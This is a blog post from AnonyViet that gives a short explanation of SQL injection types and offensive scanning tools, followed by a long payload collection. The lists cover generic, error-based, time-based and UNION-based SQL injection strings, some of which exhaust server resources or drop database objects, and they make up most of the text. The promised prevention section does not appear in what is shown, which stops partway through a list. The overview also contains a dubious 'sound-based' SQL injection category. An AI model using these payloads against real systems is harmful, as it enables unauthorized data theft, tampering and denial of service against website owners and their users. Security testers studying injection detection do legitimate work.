SQL – AnonyViet – English Version

List of SQL Injection Payloads

AnonyViet — Sat, 27 Apr 2024 09:38:39 +0000

In this article, I will explain what SQL injection is, some common examples, explain how to find and exploit different types of SQL injection vulnerabilities, and How to prevent SQL injection.

Join the channel Telegram belong to AnonyViet 👉 Link 👈

What is SQL injection (SQLi)?

SQL injection is a web security vulnerability that allows attackers to interfere with queries an application makes to its database. It often allows attackers to see data they wouldn't normally be able to get. Includes data belonging to the user or any other data that the application itself can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

In some situations, an attacker can escalate a SQL injection attack to compromise the server or back-end infrastructure or perform a denial of service attack.

Types of SQL injection:

In-band SQLi (classic SQLi): In-band SQLi is the most common and easiest to exploit SQL Injection attack method. In-band SQL Injection occurs when an attacker can use the same communication channel to launch the attack and collect results. The two most common types of SQL Injection are error-based SQLi and Union-based SQLi.
SQLi based error: Error-based SQLi is an in-band SQL technique that relies on error messages issued by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate the entire database.
Union-based SQLi: SQLi is based on Union is an in-band SQL injection technique that uses the SQL UNION operator to combine the results of two or more SELECT statements into a single result, which is then returned as part of the HTTP response.
Blind SQLi: SQLi Inference, unlike in-band SQL, can take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In an SQLi Inference attack, no data is actually transferred through the web application and the attacker will not be able to see the results of an in-band attack (which is why Such an attack is often called a “blind SQL Injection attack”. Instead, an attacker can rebuild the database structure by sending payloads, observing the web application's response and the database server's output. The two types of inferential SQL Injection are Blind-boolean-based SQLi and blind-time-based SQLi.
Boolean-based (content-based) blind SQLi: Boolean-based SQL Injection is an inference SQL Injection technique based on sending an SQL query to the database, forcing the application to return a different result depending on whether the query returns TRUE or FALSE. Depending on the result, the content inside the HTTP response will change or stay the same. This allows an attacker to infer whether the payload used returned true or false, even though no data from the database was returned.
Time-based blind SQLi: SQL Injection is time-based is an inference SQL Injection technique based on sending an SQL query to the database, forcing the database to wait a specific amount of time (in seconds) before responding. The response time will tell the attacker whether the result of the query is TRUE or FALSE. Depending on the result, the HTTP response will be returned delayed or returned immediately. This allows an attacker to infer whether the payload used returned true or false, even though no data from the database was returned.
Out-of-band SQLi: Out-of-band SQL Injection not very common, mainly because it depends on the features enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker cannot use the same channel to launch the attack and collect results. Out-of-band techniques,offer attackers an alternative to inference time-based techniques,especially if the server response is not very stable (making an attack based on inference time is not reliable).
Sound-based Sql Injection: This is a sql injection attack method that can be applied in applications that provide access to the database using voice commands. An attacker can get information from the database by sending sql queries accompanied by audio.

SQL Injection vulnerability scanning tools:

SQLMap – Automated SQL injection and database scanning tool
jSQL Injection – Java tool for automatic SQL injection
BBQSQL – A blind SQL-Injection exploit
NoSQLMap – Pwnage NoSQL databases automatically
Whitewidow – SQL vulnerability scanner
DSSS – Small SQLi vulnerability scanner
explore – Web vulnerability testing format
Blind-Sql-Bitshifting – Blind SQL-Injection via Bitshifting
Leviathan – Wide range of batch testing tools
Blisqy – Exploiting time-based blind SQL injection in HTTP-Headers (MySQL/MariaDB)

Generic SQL Injection payloads

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+        addition, concatenate (or space in url)
||        (double pipe) concatenate
%        wildcard attribute indicator
@variable    local variable
@@variable    global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1    
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype="U" and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
Comments:
#        Hash comment
/*      C-style comment
-- -    SQL comment
;%00    Nullbyte
`        Backtick

Error-based payloads

OR 1=1
 OR 1=0
 OR x=x
 OR x=y
 OR 1=1#
 OR 1=0#
 OR x=x#
 OR x=y#
 OR 1=1-- 
 OR 1=0-- 
 OR x=x-- 
 OR x=y-- 
 OR 3409=3409 AND ('pytW' LIKE 'pytW
 OR 3409=3409 AND ('pytW' LIKE 'pytY
 HAVING 1=1
 HAVING 1=0
 HAVING 1=1#
 HAVING 1=0#
 HAVING 1=1-- 
 HAVING 1=0-- 
 AND 1=1
 AND 1=0
 AND 1=1-- 
 AND 1=0-- 
 AND 1=1#
 AND 1=0#
 AND 1=1 AND '%'='
 AND 1=0 AND '%'='
 AND 1083=1083 AND (1427=1427
 AND 7506=9091 AND (5913=5913
 AND 1083=1083 AND ('1427=1427
 AND 7506=9091 AND ('5913=5913
 AND 7300=7300 AND 'pKlZ'='pKlZ
 AND 7300=7300 AND 'pKlZ'='pKlY
 AND 7300=7300 AND ('pKlZ'='pKlZ
 AND 7300=7300 AND ('pKlZ'='pKlY
 AS INJECTX WHERE 1=1 AND 1=1
 AS INJECTX WHERE 1=1 AND 1=0
 AS INJECTX WHERE 1=1 AND 1=1#
 AS INJECTX WHERE 1=1 AND 1=0#
 AS INJECTX WHERE 1=1 AND 1=1--
 AS INJECTX WHERE 1=1 AND 1=0--
 WHERE 1=1 AND 1=1
 WHERE 1=1 AND 1=0
 WHERE 1=1 AND 1=1#
 WHERE 1=1 AND 1=0#
 WHERE 1=1 AND 1=1--
 WHERE 1=1 AND 1=0--
 ORDER BY 1-- 
 ORDER BY 2-- 
 ORDER BY 3-- 
 ORDER BY 4-- 
 ORDER BY 5-- 
 ORDER BY 6-- 
 ORDER BY 7-- 
 ORDER BY 8-- 
 ORDER BY 9-- 
 ORDER BY 10-- 
 ORDER BY 11-- 
 ORDER BY 12-- 
 ORDER BY 13-- 
 ORDER BY 14-- 
 ORDER BY 15-- 
 ORDER BY 16-- 
 ORDER BY 17-- 
 ORDER BY 18-- 
 ORDER BY 19-- 
 ORDER BY 20-- 
 ORDER BY 21-- 
 ORDER BY 22-- 
 ORDER BY 23-- 
 ORDER BY 24-- 
 ORDER BY 25-- 
 ORDER BY 26-- 
 ORDER BY 27-- 
 ORDER BY 28-- 
 ORDER BY 29-- 
 ORDER BY 30-- 
 ORDER BY 31337-- 
 ORDER BY 1# 
 ORDER BY 2# 
 ORDER BY 3# 
 ORDER BY 4# 
 ORDER BY 5# 
 ORDER BY 6# 
 ORDER BY 7# 
 ORDER BY 8# 
 ORDER BY 9# 
 ORDER BY 10# 
 ORDER BY 11# 
 ORDER BY 12# 
 ORDER BY 13# 
 ORDER BY 14# 
 ORDER BY 15# 
 ORDER BY 16# 
 ORDER BY 17# 
 ORDER BY 18# 
 ORDER BY 19# 
 ORDER BY 20# 
 ORDER BY 21# 
 ORDER BY 22# 
 ORDER BY 23# 
 ORDER BY 24# 
 ORDER BY 25# 
 ORDER BY 26# 
 ORDER BY 27# 
 ORDER BY 28# 
 ORDER BY 29# 
 ORDER BY 30#
 ORDER BY 31337#
 ORDER BY 1 
 ORDER BY 2 
 ORDER BY 3 
 ORDER BY 4 
 ORDER BY 5 
 ORDER BY 6 
 ORDER BY 7 
 ORDER BY 8 
 ORDER BY 9 
 ORDER BY 10 
 ORDER BY 11 
 ORDER BY 12 
 ORDER BY 13 
 ORDER BY 14 
 ORDER BY 15 
 ORDER BY 16 
 ORDER BY 17 
 ORDER BY 18 
 ORDER BY 19 
 ORDER BY 20 
 ORDER BY 21 
 ORDER BY 22 
 ORDER BY 23 
 ORDER BY 24 
 ORDER BY 25 
 ORDER BY 26 
 ORDER BY 27 
 ORDER BY 28 
 ORDER BY 29 
 ORDER BY 30 
 ORDER BY 31337 
 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
 RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
 and (select substring(@@version,1,1))='X'
 and (select substring(@@version,1,1))='M'
 and (select substring(@@version,2,1))='i'
 and (select substring(@@version,2,1))='y'
 and (select substring(@@version,3,1))='c'
 and (select substring(@@version,3,1))='S'
 and (select substring(@@version,3,1))='X'

SQL Injection payloads are time-based

# from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\"
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Payload Unions

ORDER BY SLEEP(5)
ORDER BY 1,SLEEP(5)
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ORDER BY SLEEP(5)#
ORDER BY 1,SLEEP(5)#
ORDER BY 1,SLEEP(5),3#
ORDER BY 1,SLEEP(5),3,4#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
ORDER BY SLEEP(5)-- 
ORDER BY 1,SLEEP(5)-- 
ORDER BY 1,SLEEP(5),3-- 
ORDER BY 1,SLEEP(5),3,4-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
UNION ALL SELECT 1
UNION ALL SELECT 1,2
UNION ALL SELECT 1,2,3
UNION ALL SELECT 1,2,3,4
UNION ALL SELECT 1,2,3,4,5
UNION ALL SELECT 1,2,3,4,5,6
UNION ALL SELECT 1,2,3,4,5,6,7
UNION ALL SELECT 1,2,3,4,5,6,7,8
UNION ALL SELECT 1,2,3,4,5,6,7,8,9
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
UNION ALL SELECT 1#
UNION ALL SELECT 1,2#
UNION ALL SELECT 1,2,3#
UNION ALL SELECT 1,2,3,4#
UNION ALL SELECT 1,2,3,4,5#
UNION ALL SELECT 1,2,3,4,5,6#
UNION ALL SELECT 1,2,3,4,5,6,7#
UNION ALL SELECT 1,2,3,4,5,6,7,8#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
UNION ALL SELECT 1-- 
UNION ALL SELECT 1,2-- 
UNION ALL SELECT 1,2,3-- 
UNION ALL SELECT 1,2,3,4-- 
UNION ALL SELECT 1,2,3,4,5-- 
UNION ALL SELECT 1,2,3,4,5,6-- 
UNION ALL SELECT 1,2,3,4,5,6,7-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
